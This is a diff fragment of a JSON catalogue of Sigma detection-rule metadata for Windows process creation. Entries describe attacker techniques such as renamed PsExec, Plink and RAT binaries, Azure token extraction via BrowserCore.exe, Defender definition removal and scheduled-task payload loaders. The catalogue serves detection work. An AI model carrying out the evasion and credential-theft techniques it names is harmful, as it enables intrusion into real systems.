"tags": [ + "attack.execution", + "attack.t1059.001", + "attack.t1021.006" + ], + "creation_date": "2019/09/12", + "filename": "proc_creation_win_remote_powershell_session_process.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "medium", + "falsepositive": [ + "Legitimate usage of remote Powershell, e.g. for monitoring purposes." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Identifies use of various commands to query a systems time. This technique may be used before executing a scheduled task or to discover the time zone of a target system.", + "uuid": "b243b280-65fe-48df-ba07-6ddea7646427", + "value": "Discovery of a System Time", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/fcdb99c2-ac3c-4bde-b664-4b336329bed2.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1124/T1124.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_time_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1124" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_remote_time_discovery.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate use of the system utilities to discover system time for legitimate reason" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files", + "uuid": "9719a8aa-401c-41af-8108-ced7ec9cd75c", + "value": "Remove Windows Defender Definition Files", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remove_windows_defender_definition_files.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/07/07", + "filename": "proc_creation_win_remove_windows_defender_definition_files.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.", + "uuid": "36480ae1-a1cb-4eaa-a0d6-29801d7e9142", + "value": "Renamed Binary", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1036/", + "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html", + "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2019/06/15", + "filename": "proc_creation_win_renamed_binary.yml", + "author": "Matthew Green - @mgreen27, Ecco, James Pemberton / @4A616D6573, oscd.community (improvements), Andreas Hunkeler (@Karneades)", + "level": "medium", + "falsepositive": [ + "Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist", + "PsExec installed via Windows Store doesn't contain original filename field (False negative)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.", + "uuid": "0ba1da6d-b6ce-4366-828c-18826c9de23e", + "value": "Highly Relevant Renamed Binary", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1036/", + "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html", + "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2019/06/15", + "filename": "proc_creation_win_renamed_binary_highly_relevant.yml", + "author": "Matthew Green - @mgreen27, Florian Roth", + "level": "high", + "falsepositive": [ + "Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process creation with a renamed BrowserCore.exe (used to extract Azure tokens)", + "uuid": "8a4519e8-e64a-40b6-ae85-ba8ad2177559", + "value": "Process Creation with Renamed BrowserCore.exe", + "meta": { + "refs": [ + "https://twitter.com/mariuszbit/status/1531631015139102720", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_browsercore.yml" + ], + "tags": [ + "attack.t1528", + "attack.t1036.003" + ], + "creation_date": "2022/06/02", + "filename": "proc_creation_win_renamed_browsercore.yml", + "author": "Max Altgelt", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of renamed ftp.exe binary based on OriginalFileName field", + "uuid": "277a4393-446c-449a-b0ed-7fdc7795244c", + "value": "Renamed FTP.EXE Binary Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Ftp/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_ftp.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2020/10/09", + "filename": "proc_creation_win_renamed_ftp.yml", + "author": "Victor Sergeev, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects renamed jusched.exe used by cobalt group", + "uuid": "edd8a48c-1b9f-4ba1-83aa-490338cd1ccb", + "value": "Renamed jusched.exe", + "meta": { + "refs": [ + "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_jusched.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2019/06/04", + "filename": "proc_creation_win_renamed_jusched.yml", + "author": "Markus Neis, Swisscom", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of a renamed meg.exe of MegaSync during incident response engagements associated with ransomware families like Nefilim, Sodinokibi, Pysa, and Conti.", + "uuid": "643bdcac-8b82-49f4-9fd9-25a90b929f3b", + "value": "Renamed MegaSync", + "meta": { + "refs": [ + "https://redcanary.com/blog/rclone-mega-extortion/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_megasync.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/06/22", + "filename": "proc_creation_win_renamed_megasync.yml", + "author": "Sittikorn S", + "level": "high", + "falsepositive": [ + "Software that illegaly integrates MegaSync in a renamed form", + "Administrators that have renamed MegaSync" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process creation with a renamed Msdt.exe", + "uuid": "bd1c6866-65fc-44b2-be51-5588fcff82b9", + "value": "Renamed Msdt.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_msdt.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2022/06/03", + "filename": "proc_creation_win_renamed_msdt.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of renamed client32.exe (NetSupport RAT) via Imphash, Product and OriginalFileName strings", + "uuid": "0afbd410-de03-4078-8491-f132303cb67d", + "value": "Execution of Renamed NetSupport RAT", + "meta": { + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_netsupport_rat.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/09/19", + "filename": "proc_creation_win_renamed_netsupport_rat.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of renamed paexec via imphash and executable product string", + "uuid": "7b0666ad-3e38-4e3d-9bab-78b06de85f7b", + "value": "Execution of Renamed PaExec", + "meta": { + "refs": [ + "sha256=01a461ad68d11b5b5096f45eb54df9ba62c5af413fa9eb544eacb598373a26bc", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_paexec.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003", + "attack.g0046", + "car.2013-05-009", + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2019/04/17", + "filename": "proc_creation_win_renamed_paexec.yml", + "author": "Jason Lynch", + "level": "medium", + "falsepositive": [ + "Unknown imphashes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execution of a renamed version of the Plink binary", + "uuid": "1c12727d-02bf-45ff-a9f3-d49806a3cf43", + "value": "Execution Of Renamed Plink Binary", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", + "https://the.earth.li/~sgtatham/putty/0.58/htmldoc/Chapter7.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_plink.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2022/06/06", + "filename": "proc_creation_win_renamed_plink.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of a renamed PowerShell often used by attackers or malware", + "uuid": "d178a2d7-129a-4ba4-8ee6-d6e1fecd5d20", + "value": "Renamed PowerShell", + "meta": { + "refs": [ + "https://twitter.com/christophetd/status/1164506034720952320", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_powershell.yml" + ], + "tags": [ + "car.2013-05-009", + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2019/08/22", + "filename": "proc_creation_win_renamed_powershell.yml", + "author": "Florian Roth, frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of a renamed ProcDump executable often used by attackers or malware", + "uuid": "4a0b2c7e-7cb2-495d-8b63-5f268e7bfd67", + "value": "Renamed ProcDump", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/procdump", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_procdump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2019/11/18", + "filename": "proc_creation_win_renamed_procdump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Procdump illegaly bundled with legitimate software", + "Weird admins who renamed binaries (and should be investigated)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of a renamed PsExec often used by attackers or malware", + "uuid": "a7a7e0e5-1d57-49df-9c58-9fe5bc0346a2", + "value": "Renamed PsExec", + "meta": { + "refs": [ + "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_psexec.yml" + ], + "tags": [ + "car.2013-05-009", + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2019/05/21", + "filename": "proc_creation_win_renamed_psexec.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Software that illegaly integrates PsExec in a renamed form", + "Administrators that have renamed PsExec and no one knows why" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of rundll32.exe that has been renamed to a different name to avoid detection", + "uuid": "d4d2574f-ac17-4d9e-b986-aeeae0dc8fe2", + "value": "Renamed Rundll32.exe Execution", + "meta": { + "refs": [ + "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rundll32.yml" + ], + "tags": "No established tags", + "creation_date": "2022/06/08", + "filename": "proc_creation_win_renamed_rundll32.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when 'DllRegisterServer' is called in the commandline and the image is not rundll32. This could mean that the 'rundll32' utility has been renamed in order to avoid detection", + "uuid": "2569ed8c-1147-498a-9b8c-2ad3656b10ed", + "value": "DllRegisterServer Call From Non Rundll32", + "meta": { + "refs": [ + "https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20", + "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rundll32_dllregisterserver.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/22", + "filename": "proc_creation_win_renamed_rundll32_dllregisterserver.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of renamed Remote Utilities (RURAT) via Product PE header field", + "uuid": "9ef27c24-4903-4192-881a-3adde7ff92a5", + "value": "Execution of Renamed Remote Utilities RAT (RURAT)", + "meta": { + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rurat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.collection", + "attack.command_and_control", + "attack.discovery", + "attack.s0592" + ], + "creation_date": "2022/09/19", + "filename": "proc_creation_win_renamed_rurat.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of a renamed SysInternals Sdelete, which is something an administrator shouldn't do (the renaming)", + "uuid": "c1d867fe-8d95-4487-aab4-e53f2d339f90", + "value": "Renamed Sysinternals Sdelete Usage", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sdelete.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2022/09/06", + "filename": "proc_creation_win_renamed_sdelete.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "System administrator usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects renamed vmnat.exe or portable version that can be used for DLL side-loading", + "uuid": "7b4f794b-590a-4ad4-ba18-7964a2832205", + "value": "Renamed or Portable Vmnat.exe", + "meta": { + "refs": [ + "https://twitter.com/malmoeb/status/1525901219247845376", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_vmnat.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_renamed_vmnat.yml", + "author": "elhoim", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of whoami that has been renamed to a different name to avoid detection", + "uuid": "f1086bf7-a0c4-4a37-9102-01e573caf4a0", + "value": "Renamed Whoami Execution", + "meta": { + "refs": [ + "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", + "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_whoami.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "car.2016-03-001" + ], + "creation_date": "2021/08/12", + "filename": "proc_creation_win_renamed_whoami.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", + "uuid": "46591fae-7a4c-46ea-aec3-dff5e6d785dc", + "value": "Root Certificate Installed", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_root_certificate_installed.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.004" + ], + "creation_date": "2020/10/10", + "filename": "proc_creation_win_root_certificate_installed.yml", + "author": "oscd.community, @redcanary, Zach Stanford @svch0st", + "level": "medium", + "falsepositive": [ + "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious remote procedure call (RPC) service anomalies based on the spawned sub processes (long shot to detect the exploitation of vulnerabilities like CVE-2022-26809)", + "uuid": "a7cd7306-df8b-4398-b711-6f3e4935cf16", + "value": "Remote Procedure Call Service Anomaly", + "meta": { + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26809", + "https://www.bleepingcomputer.com/startups/RpcSs.exe-14544.html", + "https://twitter.com/cyb3rops/status/1514217991034097664", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rpcss_anomalies.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2022/04/13", + "filename": "proc_creation_win_rpcss_anomalies.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown", + "Some cases in which the service spawned a werfault.exe process" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects rundll32.exe executing from an abnormal drive such as a mounted ISO.", + "uuid": "d4ca7c59-e9e4-42d8-bf57-91a776efcb87", + "value": "Rundll32 From Abnormal Drive", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_not_from_c_drive.yml" + ], + "tags": [ + "attack.t1218.001" + ], + "creation_date": "2022/01/25", + "filename": "proc_creation_win_rundll32_not_from_c_drive.yml", + "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", + "level": "medium", + "falsepositive": [ + "Rare false positives could occur on servers with multiple drives." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious start of rundll32.exe with a parent process of Explorer.exe. Variant of Raspberry Robin, as first reported by Red Canary.", + "uuid": "1723e720-616d-4ddc-ab02-f7e3685a4713", + "value": "Rundll32 With Suspicious Parent Process", + "meta": { + "refs": [ + "https://redcanary.com/blog/raspberry-robin/", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_parent_explorer.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/05/21", + "filename": "proc_creation_win_rundll32_parent_explorer.yml", + "author": "CD_ROM_", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "load malicious registered COM objects", + "uuid": "f1edd233-30b5-4823-9e6a-c4171b24d316", + "value": "Rundll32 Registered COM Objects", + "meta": { + "refs": [ + "https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_registered_com_objects.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.015" + ], + "creation_date": "2022/02/13", + "filename": "proc_creation_win_rundll32_registered_com_objects.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects rundll32 execution where the DLL is located on a remote location (share)", + "uuid": "5cdb711b-5740-4fb2-ba88-f7945027afac", + "value": "Rundll32 UNC Path Execution", + "meta": { + "refs": [ + "https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_unc_path.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1021.002", + "attack.t1218.011" + ], + "creation_date": "2022/08/10", + "filename": "proc_creation_win_rundll32_unc_path.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module", + "uuid": "5bb68627-3198-40ca-b458-49f973db8752", + "value": "Rundll32 Without Parameters", + "meta": { + "refs": [ + "https://bczyz1.github.io/2021/01/30/psexec.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_without_parameters.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1570", + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2021/01/31", + "filename": "proc_creation_win_rundll32_without_parameters.yml", + "author": "Bartlomiej Czyz, Relativity", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of rundll32 with a command line that doesn't contain a .dll file", + "uuid": "c3a99af4-35a9-4668-879e-c09aeb4f2bdf", + "value": "Rundll32 Execution Without DLL File", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1481630810495139841?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_executable_invalid_extension.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/13", + "filename": "proc_creation_win_run_executable_invalid_extension.yml", + "author": "Tim Shelton, Florian Roth, Yassine Oukessou (fix + fp)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Payloads may be compressed, archived, or encrypted in order to avoid detection", + "uuid": "1a70042a-6622-4a2b-8958-267625349abf", + "value": "Run from a Zip File", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-4---execution-from-compressed-file", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_from_zip.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2021/12/26", + "filename": "proc_creation_win_run_from_zip.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell script execution from Alternate Data Stream (ADS)", + "uuid": "45a594aa-1fbd-4972-a809-ff5a99dd81b8", + "value": "Run PowerShell Script from ADS", + "meta": { + "refs": [ + "https://github.com/p0shkatz/Get-ADS/blob/1c3a3562e713c254edce1995a7d9879c687c7473/Get-ADS.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_powershell_script_from_ads.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2019/10/30", + "filename": "proc_creation_win_run_powershell_script_from_ads.yml", + "author": "Sergey Soldatov, Kaspersky Lab, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell script execution via input stream redirect", + "uuid": "c83bf4b5-cdf0-437c-90fa-43d734f7c476", + "value": "Run PowerShell Script from Redirected Input Stream", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Powershell.yml", + "https://twitter.com/Moriarty_Meng/status/984380793383370752", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_powershell_script_from_input_stream.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059" + ], + "creation_date": "2020/10/17", + "filename": "proc_creation_win_run_powershell_script_from_input_stream.yml", + "author": "Moriarty Meng (idea), Anton Kutepov (rule), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM.", + "uuid": "bab049ca-7471-4828-9024-38279a4c04da", + "value": "Detect Virtualbox Driver Installation OR Starting Of VMs", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1564/006/", + "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", + "https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_virtualbox.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.006", + "attack.t1564" + ], + "creation_date": "2020/09/26", + "filename": "proc_creation_win_run_virtualbox.yml", + "author": "Janantha Marasinghe", + "level": "low", + "falsepositive": [ + "This may have false positives on hosts where Virtualbox is legitimately being used for operations" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a schtask that executes a file from C:\\Users\\\\AppData\\Local", + "uuid": "c5c00f49-b3f9-45a6-997e-cfdecc6e1967", + "value": "Suspicious Schtasks Execution AppData Folder", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_appdata_local_system.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1053.005", + "attack.t1059.001" + ], + "creation_date": "2022/03/15", + "filename": "proc_creation_win_schtasks_appdata_local_system.yml", + "author": "pH-T, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects scheduled task creation events that include suspicious actions, and is run once at 00:00", + "uuid": "970823b7-273b-460a-8afc-3a6811998529", + "value": "Uncommon Scheduled Task Once 00:00", + "meta": { + "refs": [ + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_once_0000.yml" + ], + "tags": "No established tags", + "creation_date": "2022/07/15", + "filename": "proc_creation_win_schtasks_once_0000.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Software installation" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious powershell execution that ends with a common flag instead of a command or a filename to execute (could be a sign of implicit execution that uses files in WindowsApps directory)", + "uuid": "b66474aa-bd92-4333-a16c-298155b120df", + "value": "Suspicious Powershell No File or Command", + "meta": { + "refs": [ + "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_powershell_windowsapps_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1053.005", + "attack.t1059.001" + ], + "creation_date": "2022/04/08", + "filename": "proc_creation_win_schtasks_powershell_windowsapps_execution.yml", + "author": "pH-T, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a schtask that executes a base64 encoded payload stored in the Windows Registry using PowerShell.", + "uuid": "c4eeeeae-89f4-43a7-8b48-8d1bdfa66c78", + "value": "Scheduled Task Executing Powershell Encoded Payload from Registry", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_reg_loader.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1053.005", + "attack.t1059.001" + ], + "creation_date": "2022/02/12", + "filename": "proc_creation_win_schtasks_reg_loader.yml", + "author": "@Kostastsale, @TheDFIRReport, slightly modified by pH-T", + "level": "high", + "falsepositive": [ + "Unknown" + ], 